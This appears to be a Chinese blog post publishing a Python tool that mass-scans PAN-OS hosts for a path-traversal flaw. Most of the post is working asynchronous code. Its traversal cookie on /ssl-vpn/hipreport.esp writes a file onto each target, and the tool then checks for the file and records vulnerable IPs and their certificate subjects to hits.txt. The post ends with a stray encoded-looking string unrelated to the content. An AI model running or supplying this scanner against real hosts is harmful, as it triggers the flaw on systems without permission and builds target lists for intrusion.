PAN-OS 漏洞检测与 SSL 证书提取工具

3 阅读4分钟

PAN-OS 漏洞检测与 SSL 证书提取工具

一款轻量级、高并发的网络安全检测工具,专注于检测 PAN-OS 设备中潜在的路径遍历漏洞。通过发送特定的 POST 和 GET 请求组合,验证目标是否存在允许访问受限文件的漏洞,并自动提取 SSL 证书信息以便进一步分析。

功能特性

  • 异步并发扫描:基于 asyncioaiohttp,高效处理大量目标 IP 地址,显著提升扫描速度。

  • 漏洞检测:自动检测 PAN-OS 设备中的特定路径遍历漏洞(通过检查 /global-protect/portal/images/sxy.txt 的访问状态)。

  • 灵活的目标输入:支持通过 -host 参数测试单个 IP 地址,或通过 -list 参数读取文件进行批量测试。

  • 结果持久化:所有检测到的漏洞主机信息及其 SSL 证书详情将自动保存到 hits.txt 文件中。

安装指南

系统要求

  • Python 3.6 或更高版本
  • pip 包管理器

安装步骤

  1. 克隆或下载项目代码 到本地目录。

  2. 安装依赖库: 在项目根目录下打开终端,执行以下命令安装所需的 Python 包:

    pip install aiohttp cryptography
    
    • aiohttp:用于发起异步 HTTP 请求。
    • cryptography:用于解析和读取 SSL 证书内容。

使用说明

基本用法

# 测试单个 IP 地址
python check.py -host 192.168.1.1

# 从文件中读取 IP 地址列表进行批量测试
python check.py -list ips.txt

输入文件格式

当使用 -list 参数时,请确保文本文件中每行包含一个 IP 地址,例如 ips.txt

192.168.1.1
10.0.0.1
172.16.0.1

输出结果

  • 控制台输出:实时显示检测进度和结果。如果发现漏洞,会打印类似 [+] Vulnerable Host: <IP> --- <URL> 的信息。
  • 文件输出:所有结果会追加写入到当前目录下的 hits.txt 文件中。文件内容包括:
    • 存在漏洞的主机 IP 地址和完整的请求 URL。

核心流程

  1. 向目标 IP 的 /ssl-vpn/hipreport.esp 端点发送一个带有特定 Cookie(SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/sxy.txt;)的 POST 请求。
  2. 紧接着向 /global-protect/portal/images/sxy.txt 发送 GET 请求。
  3. 如果 GET 请求返回 403 状态码,则判定目标存在该漏洞。
  4. 对判定存在漏洞的主机,建立 SSL 连接并获取其证书详情。

核心代码

异步漏洞检测函数 (send_requests)

该函数是工具的核心,负责对单个 IP 地址执行完整的漏洞检测流程。

async def send_requests(ip_address, session, output_file):
    post_url = f"https://{ip_address}/ssl-vpn/hipreport.esp"
    get_url = f"https://{ip_address}/global-protect/portal/images/sxy.txt"

    post_headers = {
        "Host": ip_address,
        "Cookie": "SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/sxy.txt;",
        "Connection": "close",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    post_data = ""

    get_headers = {
        "Host": ip_address,
        "Connection": "close"
    }

    # 执行 POST 请求
    try:
        async with session.post(post_url, headers=post_headers, data=post_data, ssl=False) as post_response:
            # 等待 POST 请求完成
            await post_response.read()

            # 执行 GET 请求
            async with session.get(get_url, headers=get_headers, ssl=False) as get_response:
                if get_response.status == 403:
                    message = f"[+] Vulnerable Host: {ip_address} --- {get_url}"
                    print(message)
                    with open(output_file, 'a') as f:
                        f.write(message + "\n")
                    # 提取 SSL 证书信息
                    await get_ssl_certificate(ip_address, output_file)

    except Exception as e:
        error_message = f"Error connecting to {ip_address}: {str(e)}"
        print(error_message)

SSL 证书提取函数 (get_ssl_certificate)

该函数用于获取并解析目标主机的 SSL 证书,提取关键信息。

async def get_ssl_certificate(ip_address, output_file):
    hostname = ip_address
    port = 443

    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    ctx.set_ciphers('HIGH:!DH:!aNULL')
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    try:
        with socket.create_connection((hostname, port)) as sock:
            with ctx.wrap_socket(sock, server_hostname=hostname) as ssock:
                ssock.do_handshake()
                cert_bin = ssock.getpeercert(True)
                if cert_bin:
                    # 使用 cryptography 库解析 DER 格式的证书
                    cert = x509.load_der_x509_certificate(cert_bin, default_backend())
                    subject = cert.subject

                    subject_str = f"Subject: {subject}"

                    print(subject_str)

                    print(f'{"-" * 40}')
                    # 将证书信息写入输出文件
                    with open(output_file, 'a') as f:
                        f.write(subject_str + "\n")

                        f.write(f'{"-" * 40}\n')
                else:
                    message = "Failed to retrieve certificate."
                    print(message)

    except Exception as e:
        error_message = f"Failed to connect or retrieve SSL certificate from {ip_address}: {str(e)}"
        print(error_message)

主函数与参数解析 (main)

负责解析命令行参数,并协调整个扫描流程的启动。

def main():
    parser = argparse.ArgumentParser(description="Asynchronously check for vulnerabilities and fetch SSL certificate details if exposed.")
    parser.add_argument('-host', metavar='IP', help="A single IP address to test")
    parser.add_argument('-list', metavar='FILE', help="A file containing a list of IP addresses to test")
    args = parser.parse_args()

    output_file = "hits.txt"

    if args.host:
        asyncio.run(process_addresses([args.host], output_file))
    elif args.list:
        try:
            with open(args.list, 'r') as file:
                ip_addresses = [line.strip() for line in file if line.strip()]
            asyncio.run(process_addresses(ip_addresses, output_file))
        except FileNotFoundError:
            print(f"No such file: {args.list}")
    else:
        parser.print_help()

6HFtX5dABrKlqXeO5PUv/3XyiEI5NUl90DGBszX4oPv6Wq6f/V4X92vqJrgdu09G